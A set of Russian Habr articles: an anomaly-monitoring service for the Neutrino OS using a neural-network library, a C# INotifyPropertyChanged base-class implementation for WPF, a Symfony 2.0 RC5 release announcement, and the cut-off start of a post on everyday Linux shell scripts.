[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=modelirovanie_rakety_dlya_dostizheniya_maksimalnoj_vysoty) | https://habr.com/ru/post/684768/ | null | ru | null |
# Мониторинг аномальной активности в операционной системе «Нейтрино»
Активности в операционной системе могут быть самыми разнообразными. Это может быть и запуск нового процесса или потока, и обращение к файловой системе, и выделение памяти, и многое другое. Могут возникнуть ситуации, когда (вследствие действий злоумышленника и\или программной\аппаратной ошибки) эта активность становится аномальной, то есть поведение системы начинает отличаться от ожидаемого. Запуск неизвестного процесса на этапе эксплуатации изделия, потребление процессом необычно большого количества памяти, установка сетевых соединений, которых быть не должно в системе - всё это примеры аномальной активности, возможно требующие внимания со стороны пользователя или разработчика.
Потребители нашей операционной системы (ЗОСРВ “Нейтрино”), имеют доступ к достаточно большому арсеналу средств, обеспечивающих надежность и безопасность системы. Среди них системы контроля целостности компонентов, встроенные средства защиты информации, средство обнаружения потенциально опасных программ (антивирус) и средства обеспечения высокой готовности (отказоустойчивости). Однако, в контексте мониторинга аномальных активностей их становится недостаточно. Это подтолкнуло нас к разработке программного комплекса мониторинга аномальных процессов (ПК МАП). В его основу лежат механизмы сбора и анализа состояния системы, а также *технологии машинного обучения*.
Сбор информации об активности процессов
---------------------------------------
В ЗОСРВ “Нейтрино” имеется большое количество способов получения информации об активности процессов. Схематически они показаны на рисунке:
#### Трассировка событий
В составе ЗОСРВ “Нейтрино” имеется диагностическая версия микроядра ([*procnto-instr*](https://help.kpda.ru/help/index.jsp?topic=%2Fru.kpda.doc.os_ru%2Fhtml%2Fservices%2Fprocnto.html&resultof=%22%70%72%6f%63%6e%74%6f%22%20)), которая обладает развитым механизмом трассировки и протоколирования событий. Он позволяет отслеживать взаимодействие между ядром ОС и любым активным потоком или процессом. Это могут быть, например, вызовы ядра, изменение состояний потоков, прерывания, и многое другое.
Механизм получения информации об активности процессов является следующим. Диагностическое ядро, а также системные вызовы и [прикладной код](https://help.kpda.ru/help/index.jsp?topic=%2Fru.kpda.doc.os_ru%2Fhtml%2Flibraries%2Flibc%2Ft%2FTraceEvent.html&resultof=%22%54%72%61%63%65%45%76%65%6e%74%28%29%22%20%22%74%72%61%63%65%65%76%22%20), генерируют трассировочные события по различным операциям, которые автоматически копируются в набор буферов, сгруппированных в циклическом связном списке. Как только количество событий в буфере достигает определённого значения, ядро информирует утилиту сбора данных о заполнении буфера. После получения данных, утилита выполняет их фильтрацию и интерпретацию, чтобы подготовить эти данные к анализу.
Использование диагностического ядра может повлиять на производительность системы. Хотя падение производительности может составлять всего несколько процентов, по сравнению с версией ядра без этого механизма, его использование на “боевом” железе часто применяется для накопления диагностической информации о работе системы.
#### Менеджер процессов и потоков
В качестве источника информации об активности процессов также может использоваться виртуальная файловая система /proc. В сравнении с трассировкой она не влияет на производительность целевой системы, но позволяет получать некоторые данные для анализа. В этом случае мы получаем значительно меньшее количество информации, нежели в случае с использованием диагностического ядра, но этого вполне достаточно, чтобы оценить состояние того или иного процесса.
Таким образом, операционная система позволяет привилегированному процессу получать информацию об активности процессов и потоков в системе. Программный комплекс мониторинга аномальных процессов использует виртуальную файловую систему /proc и собирает следующую информацию:
* запущенные процессы и потоки;
* потребление памяти;
* состояние стека;
* открытые файловые дескрипторы;
* открытые соединения ([включая сетевые](https://help.kpda.ru/help/topic/ru.kpda.doc.os_ru/html/services/qnet_ksz_so.html?resultof=%22%51%6e%65%74%22%20%22%71%6e%65%74%22%20));
* состояние каналов;
* запущенные таймеры;
* обработчики прерываний;
* разделяемые библиотеки в памяти.
Помимо перечисленных источников информации об активности, ими также может выступать сетевой стек (анализ сетевого трафика), дисковая подсистема (операции чтения/записи), или, например, подсистема ввода (анализ действий пользователя). Вариантов действительно много.
Машинное обучение на встраиваемых системах
------------------------------------------
Первой задачей являлся выбор и портирование фреймворка машинного обучения.
#### Критерии выбора
Классический подход к использованию нейронных сетей обычно основывается на нескольких этапах: сбор и подготовка данных, обучение нейросети, сбор данных на конечной системе в процессе эксплуатации и их анализ на сервере. Для решения поставленной задачи такой подход не годится, поскольку требуется, чтобы все процессы происходили на встраиваемой системе. Это обусловлено несколькими факторами. Во-первых, безопасностью, поскольку информация об активности не должна покидать пределы устройства. Во-вторых, возможностью принимать управляющие решения непосредственно на встраиваемой системе в случае необходимости. В-третьих, необходимостью корректировки поведения нейросети в процессе работы. Из этого следует ещё одно ограничение - в силу (зачастую) ограниченного количества ресурсов встраиваемых систем, выбираемое решение должно быть высокопроизводительным.
В настоящий момент ситуация с машинным обучением на встраиваемых системах в парадигме edge-computing (когда данные обрабатываются не на серверах, а непосредственно на встраиваемых устройствах) в целом весьма грустная. Чаще всего предлагаются закрытые решения для конкретного набора оборудования, что существенно ограничивает их применимость. Кроме того, речь идёт чаще всего только о применении обученной нейросети для анализа данных (инференс) на встраиваемых системах, но не про обучение нейронной сети (это всё равно выносится за пределы этих устройств).
Резюмируя вышесказанное, к фреймворку предъявлялись особые критерии.
#### Почему именно Interference
Одним из фреймворков, который мог бы функционировать целиком и полностью на встраиваемых системах, без необходимости задействовать дополнительные вычислительные мощности (edge-computing), является кроссплатформенная библиотека с открытым исходным кодом [*Interference*](https://github.com/nickware44/interference). Библиотека реализует [интерференционную модель](https://nickware.group/science/ml/) нейронной сети, которая принципиально отличается от большинства классических моделей нейронных сетей. Структура нейронных сетей в этой модели максимально приближена к структуре биологических нейронных сетей в головном мозге человека. Нейрон в этой модели представляет собой самоорганизующийся объект, а его обучение происходит за счёт перемещения рецепторов под действием нейромедиатора, который выделяется синапсами (как в биологическом нейроне). Сигнал подаётся последовательно, распределённо по времени, при этом количество данных обучения получается значительно меньше по сравнению с классическими моделями (что позволяет экономить память) – необходимо хранить только координаты рецепторов в конечный момент времени и длины их траекторий. Для успешной классификации данных достаточно одного нейрона на один класс. Ещё одной важной особенностью является то, что нейронные сети этой модели можно легко дообучать, без необходимости начинать обучение с нуля.
Интерференционная модель нейронной сети зарекомендовала себя в решении задач распознавания изображений, но в силу своей универсальности может быть применена и к задаче динамического анализа, в частности, для обнаружения аномалий в наборе данных.
Другим важным аспектом является то, что библиотека написана на чистом C++ без дополнительных зависимостей, что обуславливает скорость работы и простоту ее портирования. В библиотеке реализована система вычислительных бэкендов, которая позволяет переключаться между разными способами производить вычисления, а также реализовывать новые - под специфичные вычислители. К ним на уровне архитектуры могут относиться OpenGL [ES], [OpenCL](https://help.kpda.ru/help/index.jsp?topic=%2Fru.kpda.doc.graphics_ru%2Fhtml%2Fuser_guide%2Fguide%2Fgpgpu.html&resultof=%22%47%50%47%50%55%22%20%22%67%70%67%70%75%22%20%22%d1%82%d0%b5%d1%85%d0%bd%d0%be%d0%bb%d0%be%d0%b3%d0%b8%d0%b8%22%20), специализированные DSP и др. Это позволяет переносить вычислительную нагрузку на GPU и другие специализированные устройства.
Что из себя представляет монитор активности
-------------------------------------------
#### Структура ПК МАП
Программный комплекс состоит из основного сервиса, непосредственно осуществляющего сбор и анализ данных (amon) и утилиты управления (amoncfg). Структура amon представлена на следующей схеме:
На схеме представлены следующие компоненты:
* модуль управления - осуществляет управление другими модулями и предоставляет интерфейс взаимодействия с сервисом;
* модуль оповещения - хранит информацию об аномалиях и генерирует оповещения при их появлении;
* модуль сбора информации - управляет процессом получения и анализа информации;
* поставщик данных - предоставляет информацию об активности;
* анализатор данных - выполняет анализ посредством нейронной сети.
#### Конфигурация
Для начала работы с программным комплексом необходимо наличие конфигурационного файла. *Пример конфигурационного файла представлен ниже:*
```
{
"name": "default",
"buffer_size": 1000,
"providers": [
{
"name": "kernel",
"processes": [
"io-usb",
"io-hid"
],
"data": [
"threads",
"libs",
"mem"
],
"polling_time": 3000,
"structure": "structures/kernel/structure.json",
"anomaly_action": "scripts/action.sh"
}
]
}
```
Здесь:
* buffer\_size - размер кольцевого буфера для сообщений об аномалиях.
* providers - список источников данных активности.
* name - имя поставщика данных.
* processes - список процессов, которые необходимо анализировать.
* data - список типов активности, которые необходимо анализировать.
* polling\_time - интервал опроса.
* structure - путь к файлу, хранящему структуру нейронной сети. Этот же файл структуры используется для хранения всех данных обучения.
* anomaly\_action - путь к скрипту, который будет автоматически запущен при выявлении аномальной активности.
#### Сценарий использования
Основой программного комплекса является сервис amon, который осуществляет непосредственно сбор и анализ данных, выявление аномалий, а также уведомление и опциональное автоматическое выполнение действий, заданных пользователем. После успешного запуска сервис создаёт устройство /dev/amon, через который можно осуществлять взаимодействие с ним.
Схематически сценарий использования представлен на картинке:
После запуска необходимо однократно выполнить обучение нейронной сети на эталонной системе в течение некоторого времени. Обучение является ответственным процессом и напрямую влияет на эффективность выявления аномалий, поэтому следует убедиться, что активность во время обучения является доверенной (термин поясняется далее).
После окончания обучения комплекс переключается в режим анализа активности. При обнаружении аномальной активности, информация о ней будет сохранена в лог и может быть прочитана различными способами. Если обнаруженная активность на самом деле не является аномальной, администратор имеет возможность дообучить нейронную сеть и принять эту активность как доверенную без переобучения всей сети. Также поддерживается автоматическое выполнение сценариев при обнаружении аномальной активности.
Поддерживается большое количество способов взаимодействия с сервисом amon (через менеджер ресурсов /dev/amon). Основное взаимодействие осуществляется через утилиту amoncfg. С помощью утилиты cat можно вывести журнал обнаруженных аномалий. Также существует открытое API, которое позволяет разработать собственное клиентское приложение, взаимодействующее с сервисом amon.
Практическое применение
-----------------------
#### Некоторые примеры использования
Запуск сервиса amon с указанием файла конфигурации:
`amon -c /usr/local/conf &`
Переход в режим обучения:
`amoncfg -L`
Переход в режим анализа активности:
`amoncfg -R`
Вывод статистики по анализу активности:
`amoncfg -l`
Пример вывода представлен на рисунке:
Здесь отображается список запомненных процессов, текущий режим (обучение или анализ) и количество детектированных аномалий в их работе.
Просмотр сведений об аномалиях:
`amoncfg -a`
```
Дата ID Процесс Элемент Доп. информация
20.01.2023 12 test-io mem Чрезмерное потребление памяти
```
Вывод показывает, что некий процесс test-io начал потреблять нестандартно много памяти, о чём amon и сообщил.
#### Замеры производительности
Тестирование производительности программного комплекса проводилось на разных стендах, здесь опишем результаты со стенда на Intel NUC6i3SYB (архитектура Skylake, 2 ядра, 2.3 ГГц), интервал опроса - 3 секунды.
На рисунке ниже представлена зависимость использования ЦП от количества анализируемых процессов.
Из рисунка видно, что при анализе активности 50 процессов нагрузка на ЦП составляет менее 4% (использовался однопоточный режим).
Спасибо за уделённое время и внимание!
Подробнее узнать о научной составляющей нейросетевой тематики можно здесь:
* [Параметрический синтез интерференционной модели нейронной сети](https://nickware.group/science/ml/inn-synthesis/)
* [О применении интерференционной нейронной сети для динамического анализа данных в реальном времени](https://nickware.group/science/ml/rtmonitoring/) | https://habr.com/ru/post/713690/ | null | ru | null |
# Базовая реализация INotifyPropertyChanged
*WPF в чём-то повторил судьбу js — в силу некоторых нерешённых на уровне платформы проблем [многие](http://habrahabr.ru/post/271105/) [пытаются](http://habrahabr.ru/post/270979/) стать первооткрывателями наравне с [Карлом фон Дрезем](https://ru.wikipedia.org/wiki/Дрез,_Карл).*
### Проблема
В случае с INPC в ViewModel часто существуют свойства, зависящие от других или вычисляемые на их основе. Для .net 4.0 ситуация с реализацией усложняется тем, что [CallerMemberNameAttribute](https://msdn.microsoft.com/ru-ru/library/system.runtime.compilerservices.callermembernameattribute(v=vs.110).aspx) не поддерживается в этой версии (на самом деле [поддерживается](https://www.nuget.org/packages/Microsoft.Bcl/), если вы [маг и кудесник](http://stackoverflow.com/questions/18840924/callermembername-in-net-4-0-not-working)).
### Решение
**Предисловие**Разбирая в очередной раз проект с десятками строк в package-файле, мне становится всё ближе концепция UNISTACK, когда комплексное хорошо интегрированное решение позволяет реализовывать типовые задачи в типовых сценариях и оставляет место для расширения под нужды пользователя. И одновременно с этим я вижу [фатальные недостатки](http://i72.narod.ru/humor/revolution.htm) существующих решений — громоздкость и тяжеловесность. И, иногда, немодульность.
В [предыдущей статье](http://habrahabr.ru/post/246961/) я обещал показать пример как раз такой интеграции — когда для любой запускаемой в [обёртке](https://github.com/rikrop/Rikrop.Core.Wpf/blob/master/Rikrop.Core.Wpf/Async/ServiceExecutorFactory.cs) асинхронной задачи блокируется UI и отображается BusyIndicator или его настраиваемый аналог. И я всё ещё обещаю показать этот пример. Так мы оборачиваем все вызовы WCF, но это можно использовать и для долгоиграющих вычислений, перегруппировки больших коллекций и подобных операций.
Одной из основ библиотеки Rikrop.Core.Wpf служит базовый класс объекта реализующего интерфейс INotifyProprtyChanged — [ChangeNotifier](https://github.com/rikrop/Rikrop.Core.Wpf/blob/master/Rikrop.Core.Wpf/ChangeNotifier.cs), который предлагает своим наследникам следующий набор методов:
```
[DataContract(IsReference = true)]
[Serializable]
public abstract class ChangeNotifier : INotifyPropertyChanged
{
public event PropertyChangedEventHandler PropertyChanged;
protected void SetProperty(ref T field, T value, [CallerMemberName] string propertyName = "")
protected void NotifyPropertyChanged([CallerMemberName] string propertyName = "")
protected void NotifyPropertyChanged(Expression> property)
protected void NotifyPropertyChanged(Expression> property)
protected virtual void OnPropertyChanged(string propertyName)
protected ILinkedPropertyChanged AfterNotify(Expression property)
protected ILinkedPropertyChanged BeforeNotify(Expression> property)
protected ILinkedPropertyChanged AfterNotify(T changeNotifier, Expression> property)
where T : INotifyPropertyChanged
protected ILinkedPropertyChanged BeforeNotify(T changeNotifier, Expression> property)
where T : ChangeNotifier
protected ILinkedObjectChanged Notify(Expression> property)
}
```
Здесь же сразу стоит указать интерфейсы ILinkedPropertyChanged и ILinkedObjectChanged:
```
public interface ILinkedPropertyChanged
{
ILinkedPropertyChanged Notify(Expression> targetProperty);
ILinkedPropertyChanged Execute(Action action);
}
public interface ILinkedObjectChanged
{
ILinkedObjectChanged AfterNotify(Expression> sourceProperty);
ILinkedObjectChanged AfterNotify(T sourceChangeNotifier, Expression> sourceProperty)
where T : INotifyPropertyChanged;
ILinkedObjectChanged BeforeNotify(Expression> sourceProperty);
ILinkedObjectChanged BeforeNotify(T sourceChangeNotifier, Expression> sourceProperty)
where T : ChangeNotifier;
}
```
### Надуманный пример использования
Куда же без примера, который будут называть надуманным и нереалистичным? Посмотрим, как в разных сценариях пользоваться ChangeNotifier.
У нас есть устройство с N однотипных датчиков, которое отображает среднее значение со всех датчков. Каждый датчик отображает измеренное значение и отклонение от среднего. При изменении значения датчика мы должны вначале пересчитать среднее значение, а затем уже уведомить об изменении на самом датчике. При изменении среднего значения нам необходимо пересчитать отклонения от среднего для каждого из датчиков.
```
///
/// Датчик.
///
public class Sensor : ChangeNotifier
{
///
/// Значение измерения.
///
public int Value
{
get { return _value; }
set { SetProperty(ref _value, value); }
}
private int _value;
///
/// Отклонения значения измерения от среднего.
///
public double Delta
{
get { return _delta; }
set { SetProperty(ref _delta, value); }
}
private double _delta;
public Sensor(IAvgValueIndicator indicator)
{
// В угоду примеру расскажем реализации немного лишнего
BeforeNotify(() => Value).Notify(() => indicator.AvgValue);
IValueProvider valueProvider = new RandomValueProvider();
Value = valueProvider.GetValue(this);
}
}
///
/// Прибор с датчиками, проводящими измерения.
///
public class Device : ChangeNotifier, IAvgValueIndicator
{
///
/// Число датчиков.
///
private const int SensorsCount = 3;
///
/// Множество датчиков в устройстве.
///
public IReadOnlyCollection Sensors
{
get { return \_sensors; }
}
private IReadOnlyCollection \_sensors;
///
/// Среднее значение с датчиков.
///
public double AvgValue
{
get { return (Sensors.Sum(s => s.Value)) / (double)Sensors.Count; }
}
public Device()
{
InitSensors();
AfterNotify(() => AvgValue).Execute(UpdateDelta);
NotifyPropertyChanged(() => AvgValue);
}
private void InitSensors()
{
var sensors = new List();
for (int i = 0; i < SensorsCount; i++)
{
var sensor = new Sensor(this);
//BeforeNotify(sensor, s => s.Value).Notify(() => AvgValue);
sensors.Add(sensor);
}
\_sensors = sensors;
}
private void UpdateDelta()
{
foreach (var sensor in Sensors)
sensor.Delta = Math.Abs(sensor.Value - AvgValue);
}
}
```
Интересующие нас строки кода:
```
SetProperty(ref _delta, value);
NotifyPropertyChanged(() => AvgValue);
AfterNotify(() => AvgValue).Execute(UpdateDelta);
BeforeNotify(() => Value).Notify(() => indicator.AvgValue);
BeforeNotify(sensor, s => s.Value).Notify(() => AvgValue);
```
Отдельно разберем каждую конструкцию и посмотрим на реализацию приведенных методов.
### Реализация
#### SetProperty(ref \_delta, value)
Этот код присваивает полю, переданному в первом параметре метода, значение из второго параметра, а так же уведомляет подписчиков об изменении свойства, имя которого передаётся третьим параметром. Если третий параметр не задан, используется имя вызывающего свойства.
```
protected void SetProperty(ref T field, T value, [CallerMemberName] string propertyName = "")
{
if (Equals(field, value))
{
return;
}
field = value;
NotifyPropertyChangedInternal(propertyName);
}
```
#### NotifyPropertyChanged(() => AvgValue)
Все методы нотификации об изменении объектов, принимают ли они дерево выражений или строковое значение имени свойства, в конечном итоге вызывают следующий метод:
```
private void NotifyPropertyChanged(PropertyChangedEventHandler handler, string propertyName)
{
NotifyLinkedPropertyListeners(propertyName, BeforeChangeLinkedChangeNotifierProperties);
if (handler != null)
{
handler(this, new PropertyChangedEventArgs(propertyName));
}
OnPropertyChanged(propertyName);
NotifyLinkedPropertyListeners(propertyName, AfterChangeLinkedChangeNotifierProperties);
}
private void NotifyLinkedPropertyListeners(string propertyName,
Dictionary linkedChangeNotifiers)
{
LinkedPropertyChangeNotifierListeners changeNotifierListeners;
if (linkedChangeNotifiers.TryGetValue(propertyName, out changeNotifierListeners))
{
changeNotifierListeners.NotifyAll();
}
}
```
Каждый объект-наследник ChangeNotifier хранит коллекции связок «имя свойства» -> «набор слушателей уведомлений об изменении свойства»:
```
private Dictionary AfterChangeLinkedChangeNotifierProperties { get { ... } }
private Dictionary BeforeChangeLinkedChangeNotifierProperties { get { ... } }
```
Отдельно необходимо рассмотреть класс [LinkedPropertyChangeNotifierListeners](https://github.com/rikrop/Rikrop.Core.Wpf/blob/master/Rikrop.Core.Wpf/ChangeNotifier.cs#L375):
```
private class LinkedPropertyChangeNotifierListeners
{
///
/// Коллекция пар "связанный объект" - "набор действий над объектом"
///
private readonly Dictionary \_linkedObjects =
new Dictionary();
///
/// Регистрация нового связанного объекта.
///
/// Связанный объект.
/// Имя свойства связанного объекта для уведомления.
public void Register(ChangeNotifier linkedObject, string targetPropertyName)
{
var executies = GetOrCreateExecuties(linkedObject);
if (!executies.ProprtiesToNotify.Contains(targetPropertyName))
{
executies.ProprtiesToNotify.Add(targetPropertyName);
}
}
///
/// Регистрация нового связанного объекта.
///
/// Связанный объект.
/// Действие для вызова.
public void Register(ChangeNotifier linkedObject, Action action)
{
var executies = GetOrCreateExecuties(linkedObject);
if (!executies.ActionsToExecute.Contains(action))
{
executies.ActionsToExecute.Add(action);
}
}
///
/// Получение имеющегося или создание нового набора действий над связанным объектом.
///
/// Связанный объект.
/// Обёртка над набором действий со связанным объектом.
private OnNotifyExecuties GetOrCreateExecuties(ChangeNotifier linkedObject)
{
OnNotifyExecuties executies;
if (!\_linkedObjects.TryGetValue(linkedObject, out executies))
{
executies = new OnNotifyExecuties();
\_linkedObjects.Add(linkedObject, executies);
}
return executies;
}
///
/// Вызов уведомлений и действий для всех связанных объектоы.
///
public void NotifyAll()
{
foreach (var linkedObject in \_linkedObjects)
{
NotifyProperties(linkedObject.Key, linkedObject.Value.ProprtiesToNotify);
ExecuteActions(linkedObject.Value.ActionsToExecute);
}
}
///
/// Вызов уведомлений об изменении свойств над связанным объектом.
///
/// Связанный объект.
/// Имена свойств связанного объекта для уведомления.
private void NotifyProperties(ChangeNotifier linkedObject, IEnumerable properties)
{
foreach (var targetProperty in properties)
{
linkedObject.NotifyPropertyChangedInternal(targetProperty);
}
}
///
/// Вызов действий.
///
/// Действия
private void ExecuteActions(IEnumerable actions)
{
foreach (var action in actions)
{
action();
}
}
private class OnNotifyExecuties
{
private List \_proprtiesToNotify;
private List \_actionsToExecute;
public List ProprtiesToNotify
{
get { return \_proprtiesToNotify ?? (\_proprtiesToNotify = new List()); }
}
public List ActionsToExecute
{
get { return \_actionsToExecute ?? (\_actionsToExecute = new List()); }
}
}
}
```
Таким образом, для каждого свойства в объекте-источнике хранится коллекция связанных объектов, свойств связанных объектов, об изменении которых необходимо уведомить подписчиков, и действия, которые необходимо выполнить до или после нотификации.
Стоит отметить, что при регистрации проверяется уникальность подписки. Если вы хоть раз пытались найти причину двухкратной нотификации об изменении объекта, то будете очень рады такой фиче.
#### AfterNotify(() => AvgValue).Execute(UpdateDelta)
BeforeNotify(sensor, s => s.Value).Notify(() => AvgValue)
BeforeNotify(() => Value).Notify(() => indicator.AvgValue);
Для добавления нового связанного объекта и действий над ним служит последовательность вызова методов AfterNotify/BeforeNotify класса ChangeNotifier и методов Notify/Execute классов-наследников ILinkedPropertyChanged. В качестве последних выступают вложенные по отношению к ChangeNotifier классы AfterLinkedPropertyChanged и BeforeLinkedPropertyChanged.
```
///
/// Связыватель для событий перед нотификаций об изменении свойства объекта.
///
private class BeforeLinkedPropertyChanged : ILinkedPropertyChanged
{
///
/// Исходный объект.
///
private readonly ChangeNotifier _sourceChangeNotifier;
///
/// Имя свойство исходного объекта.
///
private readonly string _sourceProperty;
///
/// Связываемый объект.
///
private readonly ChangeNotifier _targetChangeNotifier;
public BeforeLinkedPropertyChanged(ChangeNotifier sourceChangeNotifier,
string sourceProperty,
ChangeNotifier targetChangeNotifier)
{
_sourceChangeNotifier = sourceChangeNotifier;
_sourceProperty = sourceProperty;
_targetChangeNotifier = targetChangeNotifier;
}
///
/// Связывание объекта и нотификации свойства с исходным объектом.
///
/// Свойство целевого объекта.
/// Связыватель.
public ILinkedPropertyChanged Notify(Expression> targetProperty)
{
\_sourceChangeNotifier.RegisterBeforeLinkedPropertyListener(
\_sourceProperty, \_targetChangeNotifier, (string) targetProperty.GetName());
return this;
}
///
/// Связывание объекта и действия с исходным объектом.
///
/// Действие.
/// Связыватель.
public ILinkedPropertyChanged Execute(Action action)
{
\_sourceChangeNotifier.RegisterBeforeLinkedPropertyListener(
\_sourceProperty, \_targetChangeNotifier, action);
return this;
}
}
```
Для связывания используются методы RegisterBeforeLinkedPropertyListener/RegisterAfterLinkedPropertyListener класса ChangeNotifier:
```
public abstract class ChangeNotifier : INotifyPropertyChanged
{
...
private void RegisterBeforeLinkedPropertyListener(string linkedPropertyName,
ChangeNotifier targetObject,
string targetPropertyName)
{
RegisterLinkedPropertyListener(
linkedPropertyName, targetObject,
targetPropertyName, BeforeChangeLinkedChangeNotifierProperties);
}
private void RegisterBeforeLinkedPropertyListener(string linkedPropertyName,
ChangeNotifier targetObject,
Action action)
{
RegisterLinkedPropertyListener(linkedPropertyName, targetObject, action,
BeforeChangeLinkedChangeNotifierProperties);
}
private static void RegisterLinkedPropertyListener(string linkedPropertyName,
ChangeNotifier targetObject,
string targetPropertyName,
Dictionary linkedProperties)
{
GetOrCreatePropertyListeners(linkedPropertyName, linkedProperties).Register(targetObject, targetPropertyName);
}
private static void RegisterLinkedPropertyListener(string linkedPropertyName,
ChangeNotifier targetObject,
Action action,
Dictionary linkedProperties)
{
GetOrCreatePropertyListeners(linkedPropertyName, linkedProperties).Register(targetObject, action);
}
private static LinkedPropertyChangeNotifierListeners GetOrCreatePropertyListeners(string linkedPropertyName,
Dictionary linkedProperties)
{
LinkedPropertyChangeNotifierListeners changeNotifierListeners;
if (!linkedProperties.TryGetValue(linkedPropertyName, out changeNotifierListeners))
{
changeNotifierListeners = new LinkedPropertyChangeNotifierListeners();
linkedProperties.Add(linkedPropertyName, changeNotifierListeners);
}
return changeNotifierListeners;
}
...
}
```
Методы AfterNotify/BeforeNotify создают новые экземпляры «связывателей» для предоставления простого интерфейса связывания:
```
protected ILinkedPropertyChanged AfterNotify(Expression> property)
{
var propertyCall = PropertyCallHelper.GetPropertyCall(property);
return new AfterLinkedPropertyChanged((INotifyPropertyChanged) propertyCall.TargetObject,
propertyCall.TargetPropertyName,
this);
}
protected ILinkedPropertyChanged BeforeNotify(Expression> property)
{
var propertyCall = PropertyCallHelper.GetPropertyCall(property);
return new BeforeLinkedPropertyChanged((ChangeNotifier) propertyCall.TargetObject,
propertyCall.TargetPropertyName,
this);
}
protected ILinkedPropertyChanged AfterNotify(T changeNotifier, Expression> property)
where T : INotifyPropertyChanged
{
return new AfterLinkedPropertyChanged(changeNotifier, property.GetName(), this);
}
protected ILinkedPropertyChanged BeforeNotify(T changeNotifier, Expression> property)
where T : ChangeNotifier
{
return new BeforeLinkedPropertyChanged(changeNotifier, property.GetName(), this);
}
```
Из последнего листинга можно видеть, что связываемым объектом всегда выступает текущий объект, а в качестве исходного объекта может использоваться либо явно указанный экземпляр, либо полученный на основе разбора дерева выражения с помощью вспомогательного класса [PropertyCallHelper](https://github.com/rikrop/Rikrop.Core.Wpf/blob/master/Rikrop.Core.Wpf/PropertyCallHelper.cs). Зачастую исходный и связываемый объект совпадают.
### Пожалуйста, не надо больше листингов
Ок. Ещё раз на пальцах. Объект ChangeNotifier содержит несколько коллекций, в которых хранятся данные о связанных с нотификацией свойства объектах, нотифицируемых свойствах этих объектов, а так же о действиях, которые должны быть вызваны до или после нотификации. Для предоставления простого интерфейса связывания объектов методы AfterNotify/BeforeNotify возвращают наследников ILinkedPropertyChanged, которые позволяют легко добавлять нужную информацию в коллекции. Методы ILinkedPropertyChanged возвращают исходный объект ILinkedPropertyChanged, что позволяет использовать цепочку вызовов для регистрации.
При нотификации об изменении свойства объект обращается к коллекциям связанных объектов и вызывает все необходимые зарегистрированные заранее действия.
ChangeNotifier предоставляет удобный интерфейс для изменения свойств объектов и нотификации об изменениях свойствах, который минимизирует затраты на разбор деревьев выражений. Все зависимости можно собрать в конструкторе.
### Решение об использовании
*Это не совсем статья про библиотеку, которой можно просто начать пользоваться. Я хотел показать внутреннюю реализацию одного из вариантов решения типовой для WPF в рамках MVVM задачи, простоту этого решения, простоту его использования, расширяемость. Без знания реализации гораздо проще неправильно применить используемый инструмент. Например, Microsoft Prism 4 позволял уведомлять об изменении свойств при помощи передачи дерева выражений, но в разборе участвовал только базовый сценарий "() => PropertName". Таким образом, если вычисляемое свойство находилось в другом классе, то не было никакой возможности уведомить об его изменении из исходного свойства. Что логично, но оставляет пространство для ошибки.
В [исходной статье](http://habrahabr.ru/post/270979/) есть сравнение наиболее распространенных решений поставленной задачи, но этот обзор не будет полным без понимания внутренних механизмов работы этих решений. Гораздо проще начать пользоваться кодом, которому доверяешь как своему. Надеюсь, каждый, кто добрался до этой строки, сможет сделать базовую реализацию для автоматического обновления связанных свойств, а значит сможет и разобраться в чужой реализации.* | https://habr.com/ru/post/271305/ | null | ru | null |
# Symfony2: Выпуск финальной версии (Fabien Potencier – 22 июля 2011)
Мы уже готовы выпустить финальный релиз Symfony 2.0. В течение последних пары недель мы сделали несколько существенных изменений, и поэтому публикуем еще один релиз-кандидат (RC5) сегодня и ждем неделю (до 28 июля) перед выпуском финального релиза.
Вы можете просмотреть файл [UPDATE](https://github.com/symfony/symfony/blob/master/UPDATE.md) чтобы ознакомиться с последними изменениями.
Для обновления Symfony Standard Edition приложения необходимо обновить файлы [deps](https://raw.github.com/symfony/symfony-standard/v2.0.0-RC5/deps) и [deps.lock](https://raw.github.com/symfony/symfony-standard/v2.0.0-RC5/deps.lock).
Затем нужно выполнить скрипт обновления вендоров:
`./bin/vendors install`
Не забудьте очистьть кеш после обновления вендоров:
`php ./app/console cache:clear`
На протяжении последних нескольких месяцев многие разработчики использовали Symfony2 в реальных проектах, и, благодаря им, мы имели возможность совершенствовать структуру фреймворка и исправить много ошибок. Но мы все же считаем, что некоторые компоненты фреймворка нуждаются в испытаниях в «боевых» проектах перед стабилизацией API в течение предстоящих нескольких лет.
Для Symfony 2.0, следующие компоненты будут помечены как **public API (@ api)**, что будет гарантировать их неизменность, без значительных на то оснований:
* BrowserKit
* ClassLoader
* Console
* CssSelector
* DependencyInjection
* DomCrawler
* EventDispatcher
* Finder
* HttpFoundation
* HttpKernel
* Locale
* Process
* Routing
* Templating
* Translation
* Validator
* Yaml
Все классы, методы и свойства с меткой [api](https://habrahabr.ru/users/api/) являются частью **public API ( [api](https://habrahabr.ru/users/api/))**. Это означает, что мы гарантируем их стабильность во времени включая их название, объявление, и поведение. Они не будут меняться в минорных версиях.
Однако для нескольких компонентов, перечисленных ниже, мы предполагаем, что, вероятно, придется сделать еще некоторое количество изменений на основе отзывов, которые мы получим от сообщества (даже если мы будем стараться избежать проблем, связанных с обратной совместимость):
* Config
* Form
* Security
* Serializer
Symfony 2.1 будет первым релизом со всеми компонентами с **public API ( [api](https://habrahabr.ru/users/api/))**. Для компонентов, которые уже помечены как **public API ( [api](https://habrahabr.ru/users/api/))** в версии 2.0, в версии Symfony2.1 будет повод, чтобы добавить еще некоторое колличество классов и методов в **public API ( [api](https://habrahabr.ru/users/api/))**. | https://habr.com/ru/post/124768/ | null | ru | null |
# Ежедневные скрипты
Доброго времени суток всем! Командная строка Linux очень мощная, но многие команды из раза в раз приходится набирать одни и те же, а аргументы часто занимают большую часть командной строки. Если вы согласны — добро пожаловать.
Я накопил некоторый список скриптов, которыми пользуюсь каждый день и мне интересно поделиться своими наработками с обществом и менее опытными товарищами, а так же почерпнуть опыт от более опытных сочувствующих и дополнить их.
Накопилось множество скриптов:
1. **textfind** — скрипт из публикации: [habrahabr.ru/post/135497](https://habrahabr.ru/post/135497/) — очень полезен в купе с Suricata/Snort в качестве IPS.
2. **lschanged** — список 5 последних изменённых файлов — полезно, если отвлёкся и нужно вспомнить, какими файлами ты занимался.
3. **prettyuser** — очень полезный скрипт, если установил поверх системы какой-нибудь софт, который шёл с «предустановленным» юзером — удобно посмотреть, в каких группах он находится.
4. **memhungry** — иногда полезно узнать, сколько памяти жрёт конкретный процесс.
И многие другие…
